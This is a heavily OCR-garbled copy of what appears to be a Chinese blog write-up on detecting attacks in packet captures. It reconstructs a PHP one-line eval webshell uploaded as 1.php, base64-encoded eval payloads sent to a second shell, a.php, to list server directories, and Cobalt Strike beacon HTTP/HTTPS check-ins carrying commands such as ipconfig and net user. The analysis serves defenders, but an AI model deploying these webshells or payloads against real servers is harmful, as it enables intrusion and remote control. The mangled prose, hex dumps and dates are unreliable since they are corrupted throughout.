gkTj 1AcmVhZGRpcigkRikpeyROPSREL1IvIidkTjskVD1AZGFAZ5giWS1tLWQgSDppOnMil EBmaWx 1bXRpbWUoJFApPKT tAJEU9c3Vic3RyKGIhc2VFY2
JudmVydChAZmLsZXB Llem1zKCRQKSwxMCwaKSWENCK7IFI9I Ix@Ii4kVC4iXHOiLkBmawWx 1c2 16ZSgkUCkul 1x8Ii4kRS4iCiI7aWYoQG lzX2RpcigkUC
kpJEBUPSROLiIvIi4kUjt1bHNLICRML]@KTidkU]t9ZwWNobyAKTSAKTDtAY2xvc2VkaXIoJEYp0387 ZWNobygifDwtIik7ZGLIKCk7&z1=L3Zhci8%3D
HTTP/1.1 200 OK

Date: Wed, @8 Aug 2018 08:14:52 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.4.45

Content-Length: 754

Connection: close

Content-Type: text/html; charset=UTF-8

=>|spool/ 2016-05-06 16:11:23 4096 @777
Wil / 2016-05-086 09:18:83 409 @777
log/ 2018-08-07 11:22:59 4096 @777
preserve/ 2011-09-23 11:50:20 4096 @777
mail/ 2018-08-07 85:29:58 4096 o777
nis/ 2011-09-23 11:50:20 4096 @777
test/ 2018-08-87 06:94:32 409 @775
oef 2018-08-07 11:22:59 4096 @555
lock/ 2016-05-06 108:22:19 4096 e777
of 2018-08-87 ©5:41:39 4096 Q777
opt/ 2011-89-23 11:50:20 4096 Q777
local/ 2011-09-23 11:50:20 4096 @777
cache/ 2016-05-06 09:31:42 4096 @777
cvs/ 2013-11-22 12:29:48 4096 @777

EXLENME, XTa.phpMEEMNEKXKMWwebshell T, EXIMWNIALELTREHR, —KREK
MNBBENREGHTHRDN, HABENREER, BoXTwebshell 2 2 # & #
By, HAEXDHT—T.

Mhttp REFEI THX, BERERMN ELZa.phpXHRDE, BNAIEE EEZNHRE
BHREICENHFZBCRANPRE, FAIEEANtcpRE, TERERERE, RMNRETERIE
MAMENRERIH—F. RELOKXEE B BDaphpRTHREB, KERZ—-TF
$_POSTAZE, BERBMHLER.

[N ipaddr==192168.94.58 B -| Expresson
Packmt bytes [ Marrow & Wide =] Case sansitive Swring B sros m -
Mo, ~ Time Source Dastination Protocol Length  linfo

16:12:34, BR1554 192.168.94.59 192,168, 32. 189 CP 1514 [TCP Retransmission] 12716 - B8 [PSH, ACK] Seq=5677 Ack=1 Win=1T488 Len=1468

733 2018-08-08 16:12:47.505088 192.168.32.189 192168.9&.59 66 BB - 12716 [ACK] Seq=l Ack=5866 Win=21B888 Len=@ SLE=5677 SRE=T137

LFIY s DI G R PO e 330wl
¥ [Timestamps]
[Time singe first frame in this TCP stream: 5.485279800 seconds]
[Time singe previous frame in this TCP stream: 2,519829008 seconds]
TCP payload (1468 bytes)
Retransmitted TCP segment data (146@ bytes)

@2c0 Ge 64 61 72 79 55 49 50 62 45 42 54 31 6a 34 37 ndaryUIP DEBTLj47
@2d8 33 42 4c 41 47 Bd Ba 43 6 Ge 74 65 Ge 74 2d 44 3BLOD- - C ontent-D
@zed 69 73 7@ 6f 73 69 74 69 6f Ge 3a 28 66 6f 72 ispositi on: form
Ge 61 6d 65 3d 22 69 6d 61 -data; n ame="ima
6c 65 Ge 61 6d 65 3d 22 31 ge"; fil ename="1
43 54 .php"--C ontent-T
78 6c 69 63 61 74 69 6f Ge  ype: app licati.o-n
73 ®d  foctet-s tream-

an 58 hp @ evnltu
ﬁsaaanarkwuu Usd‘lzﬂll?r—
55
ad
69
EL
22

g

FormB
45 50 62 45 42 54 31 &a uundanﬂl IPbEHle
®a 43 6f Ge 74 65 Ge 74  473BLOO: -Content
74 69 6f Ge 3a 2@ 66 6f -Disposi tion: fo
2B B& 61 6d 65 3d 22 Bb rA—-data; name="kK
Bd Ba @d 2a e0 ab 9B eB  eywords™ cc--ccco

@3dd 57 65 62 4b 69 T4 46 6F T2 64d 42 6Ff 75 Ge 64 61 WebKitFo rmBounda
@3ed 72 79 55 49 58 62 45 42 54 31 6a 34 37 33 42 4c  ryUIPbEB T1j473BL
65 G6e 74 2d 44 69 73 7@  00--Cont ent-Disp
20 66 61 72 64 2d 64 61 esition: form-da
B9 ta; name ="descri

8d B @d 8a 2d 2d 2d 2d  ption":: c--o——
Be  --WebKit FormBoun

dlgﬂ:ﬂl EBT1j473

Be 74 65 Ge 74 2d 44 60 BLOD--Co ntent-Di
2d spositio n: form—

6d 65 3d 22 74 &f 6b 65 data: na me="toke
63 66 38 65 62 36 @d @a n"----f4 cfBebf. -

s985522298
geaazieays
5
g
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2020/7/27 WFE— BT ISR (1)
BR—F, RUTEXTMIES, BEXRZLEET —1T—QEARE, BEEEBLEBa.phpid
webshell f—#, RKBHEDIT—T.

<br />
</p>

——————WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="image"; filename:i"l.php"
Content-Type: application/octet—stream

<?php @eval($_P0ST[1234]);7>
WebtrtFormBoardarydEPEERT1]473BL00
Content-Disposition: form-data; name="keywords"

—————-WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="description"

TREERLET—7T1.phplI—aiE, EXRAEEARLFa.phpX—Twebshell,
MNBRDIE—T. FEMENREE, RAMELETI.phpNEIEE, RBERIIBER
T.phpBIHIEER, BMNAERKRRTIET, BLrBETFHa.php LENER.

POST /images/articlefa.php HTTP/1.1

User-Agent: Java/1.8.8_171

Host: 192.168.32.189

Accept: text/html, image/gif, image/jpeg, *; g=.2, */%; g=.2
Connection: keep-alive

Content-type: application/x-www—form-urlencoded
Content-Length: 741

1234=@eval.

(basebd_decode($_POST[action]));&action=0GluaVizZX0oImRpc3BsYX1fZXIyb3JzIiwiMCIp0@Bz ZXRTdG1tZVIsaWlpdCowkTtAC2VOX21h
Z217X3F1b3R1c19ydwW58aWl LKDAP02V)aGBoli0%2BfCIp0zskRD11YXNINRFZGVjb2RIKCRFUEITVFsiejEiXSk7IEYIQGIwZWSkaXIoIJEQpOZ LmKC
RGPT10VUxMKXt1YZhvKCIFULIPUj ovLyBOQYXRoIESvdCBGb3VuZCBPciBObyBQZX) taXNzaW9uISIp0311bHNleyRNPUSVTEW7 JEWOTLVMTDt3aG1s2ZS
gkTj1lAcmVhZGRpcigkRikpeyROPSRELIIVIi4kT]jskVD1AZGFOZSgiWS1tLWQgSDppOnMiLEBmakx LbXRpbWUoIFAPKTtAJEUSCc3Vic3RYKGIhe2V Y2
YudmVydChAZm1sZXBlcmlzKCROKSWAMCwAKSWENCK7IFIOI 1x@I14kVC4iXHQiLkBmawx lc2 16ZSgkUCKkuI1x@Ii4kRS41C1iI7aWYoQGlzX2RpcigkUC
kpJE@uUPSROLiIvIi4kUjt1bHNLICRML]jOkTidkUjt9ZwWNobyAKTS4kTDtAY2xvc2VkaXIoJEYp0307ZWhobygifOwtIik7ZG1IKCk7&z1=L3Zhci93d3
cvaHRtbCOpbWFnZXMvYXIBawNsZQ%3D%3DHTTP/1.1 208 0K

Date: Wed, @8 Aug 2018 ©08:13:47 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.4.45

Content-Length: 239

Connection: close

Content-Type: text/html; charset=UTF-8

=Y 2616 11 25 21 18: 2? 4896 B?T:‘

apng ; 107: 6 ]
ZBIEBBB?thl png 2@13—@5 @7 12:32:39 146235 0644
1533559002.png 2018-08-07 12:07:13 6322 0644

I<

METEIEEFR, HMNATUNLMa.php XN EERE, RMRBRFERHEBEE T LE
MBIEES, EEZERNRENKEESEESZI LZa.phpIEtE, XHEEXR, UFE
MEFEEMREENRETERT. BER, XEXNLE—TEZWN1.phplIRNBIRa.phpis
RKEBMNAST, BEFARELZRIUTXE, 1.phpRBRNZHEEE1234, a.phpR@EY
NEHMRE1234 98 8B, Wora.phpBiwebshel| IF#MMNiZ51.php—#, T XD
a.phpEHNATHEAER, WM RELEKa.phpIREB.

MABNXEMEEARFERXRREE RN fAIgetshell T, KBRWKEREME: A
HMEEe—RBHREBRE—FFEE—>LEwebshell —> X EH,
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hR

BE, REERGENNRENTH-—DTHAAEZEHNEN, SER-—ERARKNOTGIE
H = H E A, é’:‘*%‘%%éUCobaltStrike, FECSHIEMMNBhttpREIE. httpsiE&
DNSE. SMBREE. AREDPHTNMAT, XERESFTEZMFT2AHEN—TRET, #H1—
ERE—F,

HTTPRZ &

Ef‘aﬁﬂ‘]ﬁﬂaCOba|tStrike$Elz—ﬁ\beaconﬁfcE’qHTTPTJHSUKE_';, BAREWE
widonwsEHN T#H1T, AERKR{FEBwireshark(kiMBEEE T EBEIRE. (XEXHM
{EF M CobaltStrikehfR A} 4.0)

expernal internal = listener user computer process

<1 172.16.185.1 10.211.55.3

EventLog X | Beacon 10.211.55.3@1604 X | Files 10.211.55.3@1604 X
11 ipconfig
beacon to run: ipconfig

[+] received output

Windows IP BN

LA MISHEE Npcap Loopback Adapter:

1FT02: 84F6: 2741525
5

MITARASENLEERE, XEHMNIT Tipconfig. net user., dirm<, ¥F—TF
cobaltstrike ZTEEFH ENHITXLEGLRHE, teamserver5SmFE N 26 2 W@ #H 1T
BIEH,
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[ W1z ndar==172. 15. 155. 160 [<[==E3E =4

No. Tise Source Destination Protecol  Length Info

9307 2744.477833 windows-7-x64.shared 172.16.185.188 TP 54 58471 » dbm(2345) [ACK] Seq=392 Ack=117 Win=65584 Len=@

9385 2744.476977 windows-7-x6d.shared 172.16.185.188 TP 54 58471 -+ dbm{2345) [ACK] Seq=392 Ack=116 Win=655B4 Len=8

B384 2744.476930 172.16.185. 188 windows-7-x64. shared KNET 169 AppData (84)

9303 2744.472558 172.16.145.188 windows-7-x64. shared TP 60 dbm{2345) = 50471 [ACK] Seq=1 Ack=392 Win=32768 Len=9

0302 2744.472371 windows-7-x64 . shared 173.16.185.180 KNET 445 AppData (69), AppData (78), AppData (98), AppData (48), AppData (41)

9301 2744471066 windows-7-x64 . shared 172.16.185.188 TCP 54 58471 -+ dbm(2345) [ACK] Seqe1l Ack=1l Win=55708 Len=@

9298 2744.478869 172.16.185.168 windows-7-x64.shared 68 dhl[l?-ﬁ) + 58452 [ACK] Seq=182 Ack=533 Win=32768 Len=8
9159 2684, 466302 windows-7-x64, shared 172.16.185.188 54 58452 + dbm({2345) [ACK] Seq=532 Ack=182 Win=65608 Len=2
9167 2684466160 windows-7-x64 . shared 172.16.185.180 54 50452 + dbm(2345) [ACK] Seqe532 Acke101 WineG65600 Lens@

9166 2684.466113 172.16.185.160 windows-7-x64. shared 154 hppData (84)
9165 2684.464473 172.16.185.180 windows-7-x64. shared 6@ dbm(2345) + 50452 [ACK] Seqel Ack=532 Win=32768 Len=g

9164 2684.464357 windows-7-x64.shared 172.16.185.180 585 AppData (79), AppData (116), AppData {78), Appbata (67)
9163 2684.464287 windows-7-x64.shared 172.16.185.188 54 58452 + dbm(2345) [ACK] Seq=1 Ack=1 Win=6578@ Len=@

9160 2684,331227 172.16.185,180 windows-7- %64, shared TP 6@ dbm(2345) = 58451 [ACK] Seqe182 Ack=393 Wine32768 Len-d

9158 2684, 331818 windows-7-%64.5hared 172.16.185.180 TP 54 58451 + dbm(2345) [ACK] Seqa392 Ack=182 Win=65528 Lens@

9156 2684.330875 windows-7-x64.shared 172.16.185.188 TP 54 58451 -+ dbm{2345) [ACK] Seq=392 Ack=117 Win=65584 Len=8

9155 2684, 330814 172.16.185, 180 windows-7-%64 . shared KNET 170 AgpData (84)

9154 2684.326747 172.16.185.180 windows-7-x64. shared Tep 6@ dbm(2345) + 56451 [ACK] Seq=1 Ack=392 Win=32768 Len=@

9153 2684326569 windows-7-x64.shared 172.16.185.188 KNET 445 AppData (69), AppData (78), AppData (98), AppData (48), AppData (41)

MR EN SteamserverZ BINMEREREHRTONES, EHEEHLYREBE
I%%iﬁﬂ’\JEHS(iHE, NXEHFEEECHOREHLZD>IM—T, KEBHCobaltStrikey

3 /
HTTPRE & & Z R4 1E
W |1ep containg POST and . addr==172, 16, 185, 150
No. Time Source Destination Protocol  Length  Info
| 9164 2684.464357 windows-7-x64. shared 172.16.185.180 KMET 585 AppData (79), AppData (116), AppData (78), AppData (67)
5181 1304,088284 windows-7-x64. shared 172.16.185.188 KMET 342 AppData (79), AppData (116), AppData (78)
388 183.777713  windows-7-x64d. shared 172.16.185.188 KMET 585 AppData (79), AppData (116), AppData (78), AppData (67)
168 43.648885  windows-7-x64. shared 172.16.185.188 KNET 342 AppData (79), AppData (116), AppData (78)

—HRITTAXRGS, BT 2ZE, iasMhizizEH@mteamserver K ix—1POSTIAE

K, i%*ﬁ’ﬂﬁ(#?\jsubmit.phpo

POST /submit.php?id=1542288266 HTTP/1.1

Accept: */*

Content-Type: application/octet-stream

User-Agent: Mozilla/5.@ (compatible; MSIE 9.8; Windows NT 6.8; Trident/5.8; BOIE9;ENUSMSNIP)
Host: 172.16.185.186:2345

Content-Length: 244

Connection: Keep-Alive

Cache-Control: no-cache

boooooooolooonoiioain_colld L ol (o o adiio dShaooond i Boaoa i fadlthortds ol b ollEa o Honc ool o no ol 206
vren B e | et T (e B T e KT 2| TR H e e 05 Bl L s AT e s ee ]
T.Wl..).."2D..Ev?).f..... ) P P P q..8MX.b-#.8>..... +.

HTTP/1.1 208 OK

Date: Tue, 19 May 2028 ©3:23:48 GMT

Content-Type: text/html

Content-Length: @

EEE%%HE@)’E’EJIJEEU, FIBMNPOSTEXRABTHZEMN, AINERTRED AN

MR FZEERFMBARRENBERAE.

https://mp.weixin.qq.com/s/wénvyYFsTaZqE2AcoTVEIA
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POST /submit.php?id=728 HTTP/1.1 =
Accept: */*

Content-Type: application/octet-stream t
User-Agent: Mozilla/5.8 (compatible; MSIE 9.®; Windows NT 6.1; WOW64; Trident/5.8; BOIE9;ENUS)

Host: 172.16.185.18@ !
Content-Length: 1332

Connection: Keep-Alive

Cache-Control: no-cache

B

Windows IP .... "
............ Npcap Loopback Adapter "
|
.......... DNS a6 o oo oo B
........ IPVE couve o+ = &« & . & Te88::cbd:f702:8416:2741%25
........ IPV4 .... . . « « « « « * 169.254.39.65
Geesrass % & 8 & & 5 & & & » & s 3 285,255.8.8
.................... i:
.......... DNS .... « + + = &« » . : localdomain
UotE ccce 0 o2 0 o0 o o2 oo o8 2 o0 : fdb2:2c26:fd4ed:0:9cf5:652:f821:5873
L IPVE siaee v v 0w s w0 o« @ Tdb2:2c26:f4e4:0:8429:3dd1:7d1d:cd28
........ IPVE veuvw o o « = » & o & fe88::9cf5:652:182F:5873%18
IPVA .... = &« &« &« « & & « o« » « « & 18.211.55.3
e e S i o s g s ot
: feB8@::21c:42ff:feb0:18%18
16.211.55.1

rarearaaas DNS .... . . . . . . . : localdomain

.......... isatap.{7FGBBEE2-E335-4782-84FD-5D98F3CBAVFC}:

BE5 CobaltStrike AR A8 %, CobaltStrike 4.0 R A B HTTP & % i B9 203
NEYWEMEZ, FHCobaltStrike 3.12#TE, FRAHTTPRERNITH LR, o
TEREMNREE, WHEPAITUELAMWII2RAFARASGERTHLIHNERLOEZE
teamserverfR SN, FRNBBENRXALAXEH, EMAXBREZ#IM. SEEATIU
AWM, TRREREHT2AKRE, ZEEHEHEN, TsHEEENEAEE—TEREBERR
submit.phpBIPOSTiE X, # HContent-TypeNapplication/octet-stream, X
MSIEATAERERBCobaltStrike IHTTPREREH#TZREEH N —NSFME., NEFRE,
AHTKRGEARAZEN, BXNRRERSRAMNCobaltStrike R #MtE 2 LR,

HTTPSH &

ShttpREEHEE, HMNEEACSAUE-—TETHTTPSRENASTS, BN HTIMEUR
8, ENLEEMTUEINERZEFE,

il
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external internal = listener

user

By i

compuier

— W TSR (1)

note

PIOCESS pid arch last

[wn:lﬂg :(l Beacon 10.211.55.3@2376 X | Listeners X |

HFIRER NS 5E
il IPv6 Haht.

ol IPva it

IPve “l'l]
iS6 IPwG &
FHEGHE TPy

?22 942-‘?3
2688 T22.042450
2687 722.042431
2521 662.842838
2528 GE62.042818

windows- 7 -u64., shared
wWindows -7 -x64. shared
172.16.185.188

2519 662, 042621 indows-7-x64, shared
2518 662.042598 +16.185.182
2517 662.842329 windows-7-x64.shared
2516 662.042282 172.16.185.188
2515 662.928814 172.16.185.180
2514 662.028666 windows-7-x64.shared
2513 662.027349 172.16.185.180

2512 662.027282 windows-7-x54. shared
2511 662.827843 indows-7-x64.shared
2519 662.026987 172.16.185.188
2509 662.026620 windows-7-x564.shared
2583 662.026582 «16.185. 188
2587 662.025762 ndows -7 -x64. shared
2586 662.025715 172.16.1485.180
2585 662.919165 172.16.185.188
2584 662.018987 windows-7-x64.shared
2583 662 . 018668 dows -7 -x64. . shared

2502 662.018611
2581 662.018288

172.16.185.188
windows- 7 x.E-It shar'ar.i

662.017743
8 G62.817599
662.@17537
2346 6032 .@13905
2345 502,013838
2344 682.013654
2343 6B2.013613

windows-7-x64. shared
windows -7 -x64.. shared
172.16.185.182
wWindows-7-x64. shared
172.16.185.188

172.16.185
diois -7 - %64 . shared

172.16.185. 182
172.16.185. 188
windows-7-x64. shared
-16.185.180
windows -7-x64. shared
172.16.185.188
windows - 7-x64 ., shared
windows - 7-x64. shared
172.16.185.188
dows -7-xé4, shared
172.16.185.18@
172.16.185. 188
windows - 7-x64 . shared
-16.185.180
windows -7-x64. shared
172.16.185. 188
windows - 7-x64 . shared
windows-7-x64. shared
172.16.185. 188
172.16.185. 188
windows -7 -x64. shared
172.16.185. 188
16.185. 188
dows =7 =064
172.16.185. 188
172.16.185. 188
172.16.185. 188
windows -7-x64. shared
172.16.185. 188
dows -7 -w64 . shared

shared

https://mp.weixin.qq.com/s/wénvy YFsTaZqE2AcoTvEIA

BIHMIT T net user,

Tce
TCP
TCP
Tce
TL5v1.2
TCP
TLSvl.2
Tce
TL5v1.2
TCP
TLSv1. 2
TCP
TLSv1.2
Tce
TL5v1.2
TCP
TLSvl.2
TCP
TLSv1.2
TCP
Tce
TP

cP

TP
e
TLSv1.2
TCP
TLSv1.2

whoami .

54 51588
51588 [ACK]
44445 [RST,
44445 [FIN,
44445 [ACK]
68 44445 + 51516 [FIN,
54 51516 5 [ACK]
132 Encrypted Alert

54 51516 -+ 44445 [ACK]
251 Application Data

68 44445 + 51516 [ACK]
539 Application Data
60 44445 + 51516 [ACK]
161 Change Cipher Spec,
54 51516 -+ 44445 [ACK]
55 Encrypted Handshake
54 51516 + 44445 [ACK]
&8 Change Cipher Spec
54 51516 + 44445 [ACK]
Hello

54 51508 +
54 51516 +

Bt

144 Server

60 44445 + 51516 [ACK]
248 Client Hello

44445 [ACK]
51516 [SYW,
44445 [5YN]

54 51516 +
62 44445 +
&6 51516
54 51454

60 44445 -

44445 [RST]
51494 [ACK]
54 51404 - 44445 [RST,
54 51404 + 44445 [FIN,
54 51508 -+ 44445 [ACK]
139 Encrypted Alert

54 51588 -+ 44445 [ACK]
251 Application Data

43445 [RAST] S

ipconfig. d

8 Win=@ Len=8

Seq=481 ACk=TEE Win=32768 Len=08

ACK] 3 Len=@
ACK] Seqe787 Ack=481 Win=65220 Len=@
Seq=787 ACk=481 Win=6522¢ Len=8

ACK] Seqe488 Ack=787 Win=32768 Len=@
Seq=787 Ack=480 Win=65229 Lens=0

Seq=787 Ack=395 Win=65384 Len=8

5eq=198 Ack=TBY Win=32768 Len=8
Seq=198 Ack=302 Win=32768 Len=0
Encrypted Handshake Message

S5eq=195 Ack=19E Win=65588 Len=8
Message
Seq=195

Ack=97 Win=55604 Len=8

Seq=195 Ack=091 Win=65608 Len=8

Seq=1 Ack=195 Win=32768 Len=9

Segel Acks] Win=65708 Lensd

ACK] Seq=0 Ack=1 Win=32768 Len=0 HS5=1460 WS=2

Seq=0 Win=§192 Len=0 MS5=1460 WS=4 SACK_PERM=1

Seqs788 Winsd Lens=@

Seq=481 Ack=TEE Win=32768 Len=0
Win=8 Len=8

&CI(] SeqaT8T Ack=d81 Win=65228 Len=@

Seq=787 Acks481 Wins=565220 Lensg

Seq=787 Ack=305 Win=65384 Len=A

H /\/\
Irm ,

RKEEBWN
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TiF)  @EME) IO swei) | -
imZes TIRE A e AT [T [ PR (R | S [ PRI N PR | - B I e o e . 1L 1]
TE

Wtcp stress eg 19

Ne Tise

PP | PP PP T S ) PR PR o T I R O P . - TR R R o
1602 2820-085-19 14:51:1% .....cciciiiiinnann aan .. " 7od..... Win=32768 Len=8
” (e c.A xr..,,aies T O PO "N 5. PR | I T | O .1 B |8
Or I APURTRNS T Youb. o JHoEIW. (080 5P XY vouuPooans®OGK D0 FulMaibe Ve aansen

1175 2828-85-

Win=65236 Len=@

1173 2828-85-19
1172 2828-85-19 14:48:
1171 282@-85-19 14:48:;
1178 282@-85-19 14:48:
1169 2828-85-19 14:48:
1168 2828-85-19 14:48:
1167 2828-85-19 14:48:
1166 282@-85-19 14:48:;
1165 282@-85-19 14:48:;
1164 282@-85-19 14:48:

sura annn Ar an sa.an

P PR Win=65328 Len=0

Win=32768 Len=8
in=32768 Len=0

S T B AR L B 1 e

.83 S(WCOKEYZ. . .. 0.0, u.M4L. . .. ]
R E QI po=.].nn.f.

in=32768 Len=8
lz:l- L, -JH

{)l ....... eaa\a....y yP]E..].R..
... “Kery S8, TgheK. .. PS/X] . F5. R, | c]f .€.5EL’ o €.
.-j-.sa ...... '....35[....W5ﬂ o P oo w&fl.o t.% =

R R- R RN N- BN

Checksum: Bxad3a [unve
[Checksum Status: Unwve
Urgent pointer: 8
< [SEQ/ACK analysis]
[iRTT: @.00@524088 s
[Bytes in flight: 17
[Bytes sent since la
+ [Timestamps)
[Time since first fr
[Time since previous
TCP payload (1413 byte:
< Transport Layer Security
4 TLSv1.2 Record Layer:
Content Type: Applic
version: TLS 1.2 (@&
Length: 1408
Encrypted Applicatiof| ETHil (2550 syres - ERRETEMY A - @ 19 o

ke . 0N =

B AP
. . I:-.l'i.f OzR &..?4‘.\'..;’.:.“..1.....P.zH.'...!-.

ol i, d EOE S8 § S S 3 el deEN. L

@238 3f £7 ad la 00 00 17 @ HR R F— T

E?%ﬁWHTWS%E,ﬁ&%?@ﬁ@&%ﬁﬂ@?,E XEHEE, MABRERR
AEEMENFLEFNT, ETHTTPSBRENZEEF BN KT EZLERERK, ANER
BABIRERFZEAZEACSHNIZERE, BRIFFEFEREER,

INGG

HWRKE A FEELE, BFTHAEFTERENZE., BEIYRENDH, RIAVWELRE, &
REEHNE, EENEETE, TEREEFNTHAHWES,

F—MONREDITREX, BESHREABTBEREXIRINHULRS,
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MEE THHE

PEIMARE, APXRESE, FFERAFR

KR HEIE BTN SERA
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